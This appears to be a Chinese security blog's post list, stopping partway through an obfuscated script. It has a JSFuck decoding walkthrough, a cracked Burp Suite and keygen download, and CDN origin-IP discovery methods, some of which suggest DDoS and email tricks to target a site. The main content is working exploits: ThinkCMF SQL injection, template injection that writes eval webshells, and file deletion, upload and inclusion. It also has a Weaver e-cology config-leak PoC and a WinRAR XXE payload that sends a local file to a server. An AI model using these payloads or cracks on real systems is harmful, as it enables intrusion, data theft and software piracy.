配合chrome浏览器console解密一段JSFuck代码["\x66\x69\x6c\x74\x65\x72"] 技术文章

在测试某个项目的时候,发现一段JavaScript代码,省略不重要的部分如下:

// 原内容如下,只知道有个正则

['mmh']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['mmh'] + [])[

    "\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'][

    '\x61\x70\x70\x6c\x79'](null,

    "33s102Y117y110O99L116H105n111u110Z40g41U123u102m117c110M99m116T105y111d110"

        '\x73\x70\x6c\x69\x74'
)))('mmh');

// 在JavaScript中对于\x66这种开头的,\x代表这是一个16进制,直接在console里面打印出来就ok

// console.log('\x66\x69\x6c\x74\x65\x72') => filter

// 然后依次打印所有的类似字节即可得到如下转码后的JavaScript代码

// 如果你到这里不知道如何下手的话,怎么办?搜索啊!Google搜索以下 XXXX是什么 就有结果了

// 或者把全部\x66这种解密后得到的相关字符串去搜索就有结果了

jsfuck对照表.png

// 下面看一下jsfuck对照表,然后解密

// false       =>  ![]

// true        =>  !![]

// undefined   =>  [][[]]

// NaN         =>  +[![]]

// 0           =>  +[]

// 1           =>  +!+[]

// 2           =>  !+[]+!+[]

// 10          =>  [+!+[]]+[+[]]

// Array       =>  []

// Number      =>  +[]

// String      =>  []+[]

// Boolean     =>  ![]

// Function    =>  []["filter"]

// eval        =>  []["filter"]"constructor"()

// window      =>  []["filter"]["constructor"]("return this")()

// 解码后的代码如下,为了节省字符,使用mrxn123代替代码中的超长字符串

['mmh']["filter"]["constructor"](((['mmh'] + [])["constructor"]['fromCharCode']'apply'))('mmh');

// 根据jsfuck对照表,我们去掉mmh,这样就是熟悉的原滋原味的jsfuck格式的代码了

[]["filter"]["constructor"]((([] + [])["constructor"]['fromCharCode']'apply'))();

// 根据eval对照[]["filter"]"constructor"(),我们只需要把code部分代码直接console.log()出来就好

console.log(((([] + [])["constructor"]['fromCharCode']'apply')));

// 输出:{

console.log测试.png

// 同样的姿势将开始用mrxn123替换掉的字符串替换回去,回车,OK!JavaScript源码就出现在控制台了

jsfuck解密后源码.png 
注意:上面的步骤中,替换需要去掉原内容中的空格,不然会报错。

admin 发布于  2019-11-16 11:05 

Burp Suite Professional 2.1.05及burp-loader-keygen-2_1_05.jar下载 安全工具

其实Burp Suite Professional 2.1.05及burp-loader-keygen-2_1_05.jar出来好几天了,差不多就在burp官方portswigger 5号更新后第三天就流出来了,先上一张最新版的截图吧!必须要有图,哈哈

Snipaste_2019-11-14_23-56-27.png

但是最近很忙没有第一时间更新,知道的,要过年了!努力加班挣过年钱啊,没钱的年就和难过了啊!最近国内环境也不好,整个大环境也不太好,各方面的都收紧了。不可能暴富,那就只有积累了,不管是你的长辈积累还是自己积累都需要时间,见过娱乐圈内好几个暴富的都进去了!(Helen 进去了,他其实还不算暴富。。。)

子曰:君子爱财,取之有道;贞妇爱色,纳之以礼。——《增广贤文》

哔哔这么多只是想说:做个遵纪守法的好P民!不要信什么鬼闷声发大财,这就是赌博,简直是豪赌!如果你的运气好的爆棚自己搞,在下佩服,兄嘚牛逼!别后悔就行!



好了,言归正传,本次更新根据官网的说明,主要有以下几点:

1.支持在扫描时使用内嵌的Chromium 浏览器,一边支持使用JavaScript动态生成渲染的数据页面。

2.支持JavaScript的表单单击提交事件等等

3.burp内置的JRE升级到了Java12

但是也有很多的注意事项:

1.性能差,在接下来慢慢优化

2.支持链接和表单的JavaScript点击事件

3.接收XHR异步请求但是不会审查

4.在不和服务器交互的情况下,不能正确处理某些DOM

5.不支持Frames 和iframes 

6.不支持文件上传

总之,不推荐使用,如果希望尝鲜,就看下面的:



说一下最新版的Burp Suite Professional 2.1.05如何使用。


首先,所有的破解、汉化或使用burpsuite都是在你配置好了Java环境的前提下!!!推荐使用Java8比较稳定。

不知道如何配置Java环境的,GitHub项目里有一份如何在64位Windows 10下安装java开发环境的教程,请按照操作,其他的系统自行Google或者是多吉搜索(又名狗狗搜索,https://www.dogedoge.com/),百度搜教程真的是百毒。。。



在配置好了Java环境后,就可以开始破解burp、汉化、创建快捷方式等等操作。这些都有教程,具体的请在我的GitHub项目查看,项目在这篇文章已经说过:BurpSuite Pro破解版[BurpSuite Cracked version]+汉化脚本(windows)+常用插件(sqlmap.jar,bypasswaf.jar等)分享

Burp Suite Professional 2.1.05 2.1.04 1.7.37都可以在项目的release下载到,但是release默认没有打包插件和书籍这些。

大家可以关注我GitHub,star,fllow我!拉一波票 (~o ̄3 ̄)~,我一般是最新更新GitHub,博客最后看心情更新。



admin 发布于  2019-11-15 21:26 

寻找CDN背后的真实IP方式总结之2019完结篇 技术文章

注:总共两篇文章,第一篇文章来自信安,第二篇来自 WhITECat。我这里只是总结一下,方便自己查看,不用每次都去翻好几篇文章,如果两位原作不允许,随时删除。

第一篇:绕过 CDN 寻找真实 IP 地址的各种姿势

个人觉得,绕过 CDN 去寻找主机的真实 ip,更容易能寻找到企业网络的薄弱地带,所以 Bypass CDN 也就变成了至关重要的一点。

0x01 常见 Bypass 方法

域名搜集

由于成本问题,可能某些厂商并不会将所有的子域名都部署 CDN,所以如果我们能尽量的搜集子域名,或许可以找到一些没有部署 CDN 的子域名,拿到某些服务器的真实 ip/ 段

然后关于子域名搜集的方式很多,就不一一介绍了,我平时主要是从这几个方面搜集子域名:

1、SSL 证书

2、爆破

3、Google Hacking

4、同邮箱注册人

4、DNS 域传送

5、页面 JS 搜集

6、网络空间引擎



工具也有很多厉害的,平时我一般使用 OneForALL + ESD + JSfinder 来进行搜集,(ESD 可以加载 layer 的字典,很好用)



查询 DNS 历史解析记录

常常服务器在解析到 CDN 服务前,会解析真实 ip,如果历史未删除,就可能找到

常用网站: 



http://viewdns.info/

https://x.threatbook.cn/

http://www.17ce.com/

https://dnsdb.io/zh-cn/

https://securitytrails.com/

http://www.ip138.com/

https://github.com/vincentcox/bypass-firewalls-by-DNS-history

MX 记录(邮件探测)

这个很简单,如果目标系统有发件功能,通常在注册用户/找回密码等地方,通过注册确认、验证码等系统发来的邮件进行查看邮件原文即可查看发件IP地址。

SSL 证书探测

我们可以利用空间引擎进行 SSL 证书探测

443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.baidu.com

再放一个搜集证书的网站:



https://crt.sh

一个小脚本,可以快速搜集证书


-- coding: utf-8 --

@Time    : 2019-10-08 22:51

@Author  : Patrilic

@FileName: SSL_subdomain.py

@Software: PyCharm



import requests

import re



TIME_OUT = 60

def get_SSL(domain):

    domains = []

    url = 'https://crt.sh/?q=%25.{}'.format(domain)

    response = requests.get(url,timeout=TIME_OUT)

    # print(response.text)

    ssl = re.findall("<TD>(.*?).{}</TD>".format(domain),response.text)

    for i in ssl:

        i += '.' + domain

        domains.append(i)

    print(domains)



if name == 'main':

    get_SSL("baidu.com")



还有一种方式,就是搜集 SSL 证书 Hash,然后遍历 ip 去查询证书 hash,如果匹配到相同的,证明这个 ip 就是那个 域名同根证书的服务器真实 ip

简单来说,就是遍历 0.0.0.0/0:443,通过 ip 连接 https 时,会显示证书

当然,也可以用 censys 等引擎

偏远地区服务器访问

在偏远地区的服务器访问时,可能不会访问到 CDN 节点,而是直接访问服务器真实 ip

所以我们可以搞一个偏远地区的代理池,来访问目标域名,有概率就可以拿到真实 ip

也就是平常说的多地 Ping

favicon_hash 匹配

利用 shodan 的 http.favicon.hash 语法,来匹配 icon 的 hash 值, 直接推:

https://github.com/Ridter/get_ip_by_ico/blob/master/get_ip_by_ico.py

CloudFlare Bypass

免费版的 cf,我们可以通过 DDOS 来消耗对方的流量,只需要把流量打光,就会回滚到原始 ip

还有利用 cloudflare 的改 host 返回示例:

https://blog.detectify.com/2019/07/31/bypassing-cloudflare-waf-with-the-origin-server-ip-address/

里面给了详细的介绍,我们可以通过 HOST 来判断是否是真实 ip, 具体看文章即可

奇特的 ping

比如可能有些地方,使用的 CDN 都是以 www.xxx.edu.cn,例如 www.cuit.edu.cn,www.jwc.cuit.edu.cn

可能去掉前缀的 www,就可能绕过 CDN 了,猜测应该是类似于 Apache VirtualHost, 可参考

https://httpd.apache.org/docs/2.4/en/vhosts/examples.html

例如对WWW域名和根域名(不带WWW)分别进行PING,结果有可能不同。

其实是 ping 了 www.xxx.xxx.cn 和 xxx.xxx.cn,这样就可以绕过 CDN 的检测。

利用老域名

在换新域名时,常常将 CDN 部署到新的域名上,而老域名由于没过期,可能未使用 CDN,然后就可以直接获取服务器真实 ip。

例如 patrilic.top > patrilic.com

域名更新时,可能老域名同时解析到真实服务器,但是没有部署 CDN

这个可以通过搜集域名备案的邮箱去反查,可能会有意外收获

暴力匹配

找到目标服务器 IP 段后,可以直接进行暴力匹配 ,使用 masscan 扫描 HTTP banner,然后匹配到目标域名的相同 banner

最后是 DDos/ 社工 CDN 平台等

0x02 其他方法

phpinfo.php 这类探针

ssrf,文件上传等漏洞

略..



第二篇文章:“最后”的Bypass CDN 查找网站真实IP

注:其实与第一篇有重复的的地方,请自行斟酌查看。

0x00起源~

查找网站真实IP过程中我们会经常用到一些Bypass CDN的手法,而Bypass CDN的常见姿势,之前看到过“信安之路”的某位大佬总结的挺好的,于是和小伙伴们又专门的去学习了一波,然后决定将学习心得归结于文字,以便于记录和复习。

0x01判断是否存在CDN

       查找网站真实IP的第一步是先查看当前站点是否部署了CDN,而较为简单快捷的方式就是通过本地Nslookup查询目标站点的DNS记录,若存在CDN,则返回CDN服务器的地址,若不存在CDN,则返回的单个IP地址,我们认为它就是目标站点的真实IP。

除了使用nslookup,还可以通过第三方站点的DNS解析记录或者多地ping的方式去判断是否存在CDN。判断CDN只是个开始,不加赘述。。。

小伙伴-胡大毛的www法

以前用CDN的时候有个习惯,只让WWW域名使用cdn,秃域名不适用,为的是在维护网站时更方便,不用等cdn缓存。所以试着把目标网站的www去掉,ping一下看ip是不是变了,您别说,这个方法还真是屡用不爽。

小伙伴-刘正经的二级域名法

目标站点一般不会把所有的二级域名放cdn上,比如试验性质的二级域名。Google site一下目标的域名,看有没有二级域名出现,挨个排查,确定了没使用cdn的二级域名后,本地将目标域名绑定到同ip,能访问就说明目标站与此二级域名在同一个服务器上。不在同一服务器也可能在同C段,扫描C段所有开80端口的ip,挨个试。如果google搜不到也不代表没有,我们拿常见的二级域名构造一个字典,猜出它的二级域名。比如mail、cache、img。

查询子域名工具:layer子域名挖掘机 subdomin

扫描c段好用工具:zmap(https://www.cnblogs.com/China-Waukee/p/9596790.html)

还是“刘正经”的nslookup法

查询域名的NS记录,其域名记录中的MX记录,TXT记录等很有可能指向的是真实ip或同C段服务器。

注:域名解析--什么是A记录、别名记录(CNAME)、MX记录、TXT记录、NS记录(https://www.22.cn/help_34.html



小伙伴-胡小毛的工具法

这个工具http://toolbar.netcraft.com据说会记录网站的ip变化情况,通过目标网站的历史ip地址就可以找到真实ip。没亲自测试,想必不是所有的网站都能查到。

例:http://toolbar.netcraft.com/site_report?url=http://www.waitalone.cn



小伙伴-狄弟弟的目标敏感文件泄露

也许目标服务器上存在一些泄露的敏感文件中会告诉我们网站的IP,另外就是如phpinfo之类的探针。



小伙伴-匿名H的墙外法

很多国内的CDN没有节点对国外服务,国外的请求会直接指向真实ip。有人说用国外NS和或开国外VPN,但这样成功率太低了。我的方法是用国外的多节点ping工具,例如just-ping,全世界几十个节点ping目标域名,很有可能找到真实ip。

域名:http://www.just-ping.com/



小伙伴-不靠谱的从CDN入手法

无论是用社工还是其他手段,反正是拿到了目标网站管理员在CDN的账号了,此时就可以自己在CDN的配置中找到网站的真实IP了。此法着实适用于“小伙伴-不靠谱”使用。



还是“不靠谱”的钓鱼法

不管网站怎么CDN,其向用户发的邮件一般都是从自己服务器发出来的。以wordpress为例,假如我要报复一个来我这捣乱的坏蛋,坏蛋使用了 CDN,我要找到它的真实ip以便DDOS他。我的方法是在他博客上留言,再自己换个名回复自己,然后收到他的留言提醒邮件,就能知道发邮件的服务器ip 了。如果他没开提醒功能,那就试试他是不是开启了注册功能,wordpress默认是用邮件方式发密码的。



0x03“最后”的总结

      小伙伴“最后”来了一波总结:



百因必有果,你的报应就是我~o~



万剑归宗不是火,万法合一才是果~o~



小伙伴们总结了一波又一波方法,“最后”表示不太行,方法很多,每一个看起来都很实用,但实战告诉我们,只有把这些方法都灵活贯通的结合使用才能达到最大的效果。“最后”以胡大毛的www法结合查找网站历史DNS解析记录的方法查找某个站点的真实IP的举例如下:



某站点www.xxx.com的当前解析显示有多个IP,但历史解析仅有一个IP,可以猜测该IP可能是真实IP。



“最后”认为除了需要将方法结合使用之外,辅助工具也是不可缺少的,于是又整理了一波常用的工具和查询平台如下:



    1、查询SSL证书或历史DNS记录



https://censys.io/certificates/&nbsp;  ###通过SSL证书查询真实IP(推荐)



https://site.ip138.com/&nbsp;  ###DNS、IP等查询



http://ping.chinaz.com/&nbsp;  ###多地ping



http://ping.aizhan.com/&nbsp;  ###多地ping



https://myssl.com/dns_check.html#dns_check&nbsp;  ###DNS查询



https://securitytrails.com/&nbsp;  ### DNS查询



https://dnsdb.io/zh-cn/&nbsp;   ###DNS查询



https://x.threatbook.cn/&nbsp;  ###微步在线



http://toolbar.netcraft.com/site_report?url=&nbsp;  ###在线域名信息查询



http://viewdns.info/&nbsp;  ###DNS、IP等查询



https://tools.ipip.net/cdn.php&nbsp;  ###CDN查 询IP



    2、相关工具



子域名查询工具:layer子域名挖掘机,dirbrute,Oneforal(下载链接:https://github.com/shmilylty/OneForAll,推荐



站点banner信息获取:Zmap,masscan等。



参考链接

https://github.com/shmilylty/OneForAll



https://github.com/FeeiCN/ESD



https://github.com/Threezh1/JSFinder



https://github.com/AI0TSec/blog/issues/8



https://www.4hou.com/tools/8251.html



https://www.freebuf.com/sectool/112583.html



admin 发布于  2019-10-30 05:35 

ThinkCMF5.x以下漏洞合集 渗透测试

需要普通用户权限,默认可注册
paylaod:

POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+- 

还有以下可以测试:

post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind 
  • 前台模版注入漏洞-可getshell四处
# 仅在Windows环境测试
# 第一处  
http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第二处  
http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=

# 第三处  
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

# 第四处
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg==")); 
  • 任意文件删除-只能windows删除

在用户上传头像处存在任意文件删除漏洞,发送如下数据包后,会删除网站根目录下一个名为 test.txt 的文件。(该漏洞仅能在 Windows 下触发)

POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1
Host: localhost
Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

imgurl=..\..\..\test.txt 
  • 任意文件上传

在 ThinkCMFX2.2.3 最终版中,存在一处任意文件上传(需要普通用户权限,默认可注册)
curl -F "[email protected]/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile'

  • 任意文件包含(读取数据库配置等等)
    /index.php?a=display&templateFile=README.md

使用说明

thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。 1.看logo 3的logo是黄色的. 2.在网站url 后面输入 admin,如果页面是蓝色的表示是3的,可日穿之. 3.查看 README.md 在网站url后面输入README.md. 另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个模板不存在错:

url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php> 

请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可

例如:
/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Mobileverify/View/index
/../plugins/Mobileverify/View/widget
/../plugins/Demo/View/admin_index
/../plugins/Demo/View/index
/../plugins/Demo/View/widget
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/en-us/index
/../application/Comment/Lang/zh-cn/index 
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php> 
/../../../public/index
/../../../public/exception
/../../../data/index
/../../../data/runtime/index
/../../../plugins/Mobileverify/View/admin_index
/../../../plugins/Mobileverify/View/index
/../../../plugins/Mobileverify/View/widget
/../../../plugins/Demo/View/admin_index
/../../../plugins/Demo/View/index
/../../../plugins/Demo/View/widget
/../../../application/Install/View/Public/footer
/../../../application/Install/View/Public/head
/../../../application/Install/View/Public/header
/../../../application/Common/index
/../../../application/Portal/Lang/en-us/index
/../../../application/Api/Lang/en-us/index
/../../../application/Api/Lang/zh-cn/index
/../../../application/Comment/Lang/en-us/index
/../../../application/Comment/Lang/zh-cn/index 

还有最后一句废话:模版注入对于linux 并不好用 : )

更多漏洞POC-持续收集中-https://github.com/Mr-xn/Penetration_Testing_POC
参考:
https://xz.aliyun.com/t/3409 
https://xz.aliyun.com/t/3529
 https://mochazz.github.io/2019/07/25/ThinkCMFX漏洞分析合集


admin 发布于  2019-10-28 21:21 

泛微e-cology OA数据库配置信息泄漏漏洞 业界新闻

0x1漏洞描述

攻击者可通过该漏洞页面直接获取到数据库配置信息,攻击者可通过访问存在漏洞的页面并解密从而获取数据库配置信息,如攻击者可直接访问数据库,则可直接获取用户数据,由于泛微e-cology默认数据库大多为MSSQL数据库,结合XPCMDSHELL将可直接控制数据库服务器.

0x2影响范围

目前已知为8.100.0531,不排除其他版本,包括不限于EC7.0、EC8.0、EC9.0版

0x3漏洞复现

使用payload进行验证

http://www.target.com/path/DBconfigReader.jsp

直接访问该页面服务器将返回DES加密以后的乱码

访问数据库界面.png

需要使用DES算法结合硬编码的key进行解密,即可获得数据库连接信息。

DES解密获得数据库连接信息.png

也可以使用ecologyExp.jar http://www.target.com/path/DBconfigReader.jsp 直接一键操作,直接获取到明文数据库连接信息:

EXP直接获取数据库连接信息.png

0x4修复建议

  1. 建议限制访问数据库的IP;
  2. 及时安装补丁来修复漏洞,建议企业用户关注泛微官网发布的漏洞修复通知(https://www.weaver.com.cn);
  3. 如果存在此漏洞,修复漏洞后应及时修改数据库账号密码。

POC:https://github.com/Mr-xn/Penetration_Testing_POC/tree/master/tools/ecologyExp.jar

标签: 漏洞

admin 发布于  2019-10-26 20:38 

ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞 渗透测试

0x00 简介

    ThinkCMF是一款基于ThinkPHP+MySQL开发的开源中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞概述

    远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本 

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

0x03 漏洞利用&测试环境



测试环境:

测试版本:thinkcmf 2.2.2

phpstudy pro

windows 10



一共有两种方式:

第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,phpinfo版payload如下:

/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

第一种漏洞复现截图如下:

thinkcmf之getshell.png

第二种是通过构造a参数的display方法,实现任意内容包含漏洞,payload如下: 

/index.php?a=display&templateFile=README.md

第二种漏洞复现截图如下:

thinkcmf任意文件包含二.png



0x04 漏洞分析

    根据index.php的第25行可知道项目相对路径为application目录:

//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH',   SITE_PATH.'simplewind/');



    然后找到 application\Portal\Controller 路径下的 IndexController.class.php 控制器类:

可以看到只有一个公共的display方法:

namespace Portal\Controller;
use Common\Controller\HomebaseController; 
/**
 * 首页
 */
class IndexController extends HomebaseController {

    //首页 小夏是老猫除外最帅的男人了
    public function index() {
        $this->display(":index");
    }

}



    其父类是  Common\Controller\HomebaseController ,根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 application\Common\Controller 路径下的 HomebaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法:

thinkcmf几个权限为public的函数.png

    这边有问题的是display函数和fetch函数:

    display函数的作用是加载模板和页面输出,所对应的参数为:

$templateFile 指定要调用的模板文件,$charset 模板输出字符集,$contentType 输出类型,$content 模板输出内容。

templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找:

public function parseTemplate($template='') {...}



    然后调用THinkphp Controller 函数的display方法,其中fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

 /**
     * 获取输出页面内容
     * 调用内置的模板引擎fetch方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀* * @return string
     */
    public function fetch($templateFile='',$content='',$prefix=''){
        $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
        return parent::fetch($templateFile,$content,$prefix);
    }



    这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell。最终形成的payload:

/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));

thinkcmf之getshell2.png

0x05 修复方式

    将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。

修改修饰为protected即可防御.png

还有另一种getshell的方法:

thinkcmf前台getshell.png

参考:


https://www.freebuf.com/vuls/217586.html

https://xz.aliyun.com/t/3529


admin 发布于  2019-10-25 05:29 

WinRAR 5.80 XML 注入漏洞和拒绝服务攻击漏洞 渗透测试

0x00背景介绍 

WinRAR,是Windows标配的压缩软件,大家都不陌生。

0x01漏洞描述 

但是最近这两天winrar 5.80爆出了两个漏洞,一个是XML注入漏洞,一个是拒绝服务攻击漏洞。

0x02漏洞复现POC 

第一个XML注入漏洞:

此poc展示非授权情况下用户敏感文件上传

这里的文件是:C:\Windows\system.ini

文件上传.png

1-开一个简单的http服务器

在PYthon环境下运行 :

python -m SimpleHTTPServer 8800

并在当前目录放一个start.dtd文件,内容参考下文。

2-打开WinRAR

打开Winrar或者用Winrar打开任意一个rar文件

3-点击菜单栏的帮助

4-点击 帮助主题

5-拖一个精心制作的html文件到上面的帮助窗口

拖拽特殊HTML文件到winrar帮助文档窗口.png

XML注入漏洞利用的html文件:

<html><body><xml>
<?xml version="1.0"?>
<!DOCTYPE flavios [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8800/start.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml></body></html>

放置简单web服务器上的start.dtd文件:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8800?%file;'>">
%all;

第二个拒绝服务攻击漏洞的HTML利用文件代码如下:

<script type="text/javascript">
//<![CDATA[
<!--
var x="function f(x){var i,o=\"\",l=x.length;for(i=l-1;i>=0;i--) {try{o+=x.c" +
"harAt(i);}catch(e){}}return o;}f(\")\\\"function f(x,y){var i,o=\\\"\\\\\\\""+
"\\\\,l=x.length;for(i=0;i<l;i++){if(i==28)y+=i;y%=127;o+=String.fromCharCod" +
"e(x.charCodeAt(i)^(y++));}return o;}f(\\\"\\\\xr}jMDLW\\\\\\\\nRTN\\\\\\\\\\"+
"\\\\\\LFE\\\\\\\\004\\\\\\\\017\\\\\\\\022GD\\\\\\\\\\\\\\\\^\\\\\\\\rhGjYh" +
"83#9y2/(-s:\\\\\\\\021\\\\\\\\024\\\\\\\\013\\\\\\\\025Y9D\\\\\\\\037E\\\\\\"+
"\\034\\\\\\\\013F\\\\\\\\017\\\\\\\\002\\\\\\\\003\\\\\\\\037\\\\\\\\021\\\\"+
"\\\\005\\\\\\\\033\\\\\\\\021\\\\\\\\030\\\\\\\\020*UX\\\\\\\\032\\\\\\\\02" +
"5\\\\\\\\025\\\\\\\\010\\\\\\\\030\\\\\\\\020t<^[email protected];?T+4W~Q`3}tfr4}bch4\\\\" +
"\\\\177jith\\\\\\\\\\\"\\\\|\\\\\\\\003g[TLTB[u\\\\\\\\010\\\\\\\\[email protected][U_" +
"F\\\\\\\\016h\\\\\\\\027\\\\\\\\033\\\\\\\\006d\\\\\\\\033\\\\\\\\004gNaP\\" +
"\\\\\\003\\\\\\\\\\\"\\\\.&:z\\\\\\\\0314\\\\\\\\033&u9(>$>;p=3=3 70=d\\\\\\"+
"\\006y\\\\\\\\n\\\\\\\\037\\\\\\\\r<\\\\\\\\022\\\\\\\\010\\\\\\\\022\\\\\\" +
"\\027J \\\\\\\\010\\\\\\\\004\\\\\\\\007\\\\\\\\r\\\\\\\\0177NS2\\\\\\\\035" +
",\\\\\\\\037.\\\\\\\\001(\\\\\\\\033VWX=\\\\\\\\023\\\\\\\\026\\\\\\\\\\\\\\"+
"\\\\\\\\\\016\\\\\\\\026l!\\\\\\\\\\\"\\\\_vYh'()Ynx-}g|1/3Wgsvl|Uyvx}k\\\\" +
"\\\\010}\\\\\\\\000tWFTNX]\\\\\\\\004xDHBCl\\\\\\\\023\\\\\\\\033\\\\\\\\02" +
"3\\\\\\\\024iDkV\\\\\\\\031\\\\\\\\032\\\\\\\\033\\\\\\\\177\\\\\\\\\\\\\\\\"+
"RS`2*/j\\\\\\\\0273)`\\\\\\\\025h\\\\\\\\027n\\\\\\\\021l,=5|6,0\\\\\\\\nu\\"+
"\\\\\\004{\\\\\\\\006yu}~\\\\\\\\003\\\\\\\\022=\\\\\\\\014CDE5\\\\\\\\002\\"+
"\\\\\\034I\\\\\\\\031\\\\\\\\003\\\\\\\\000MSO>\\\\\\\\036\\\\\\\\006\\\\\\" +
"\\033\\\\\\\\035\\\\\\\\033\\\\\\\\021WXYZ'\\\\\\\\016!\\\\\\\\020 !\\\\\\\\"+
"\\\"\\\\_vYh;'ziye}z1LcN}(:tx|`$GnAp#\\\\\\\\017IVNH\\\\\\\\033\\\\\\\\004\\"+
"\\\\\\016\\\\\\\\023\\\\\\\\031\\\\\\\\021\\\"\\\\,28)\\\"(f};)lo,0(rtsbus." +
"o nruter};)i(tArahc.x=+o{)--i;0=>i;1-l=i(rof}}{)e(hctac};l=+l;x=+x{yrt{)401" +
"=!)31/l(tAedoCrahc.x(elihw;lo=l,htgnel.x=lo,\\\"\\\"=o,i rav{)x(f noitcnuf\""+
")"                                                                           ;
while(x=eval(x));
//-->
//]]>
</script>
<script type="text/javascript">
//<![CDATA[
<!--
var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" +
"=48){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" +
".substr(0,ol);}f(\")19,\\\"ZPdw771\\\\b77-0xjk-7=3771\\\\sp,cw$520\\\\:330\\"+
"\\xg030\\\\jj9%530\\\\b000\\\\XZUUVX620\\\\LP\\\\\\\\Pr\\\\610\\\\KOHD400\\" +
"\\620\\\\720\\\\\\\\\\\\WOWGPr\\\\530\\\\NClAauFkD,$gqutdr/3-ig~`|)rkanwbo2" +
"30\\\\t\\\\ 520\\\\&310\\\\$n\\\\200\\\\)230\\\\/000\\\\-K530\\\\310\\\\310" +
"\\\\n\\\\630\\\\010\\\\IULFW620\\\\600\\\\400\\\\700\\\\520\\\\=*100\\\\(70" +
"0\\\\4500\\\\*310\\\\-u}xy8pt~}|{771\\\\itg/e771\\\\sb|`V620\\\\530\\\\NT\\" +
"\\\\\\MdYjGh010\\\\@TVI[O410\\\\620\\\\n\\\\330\\\\[email protected]\\\\SAijArGhEec" +
"J{HaN*2S?9t)V)5,&waedtbn\\\\!010\\\\'420\\\\%n\\\\+r\\\\U]XY030\\\\PT^]\\\\" +
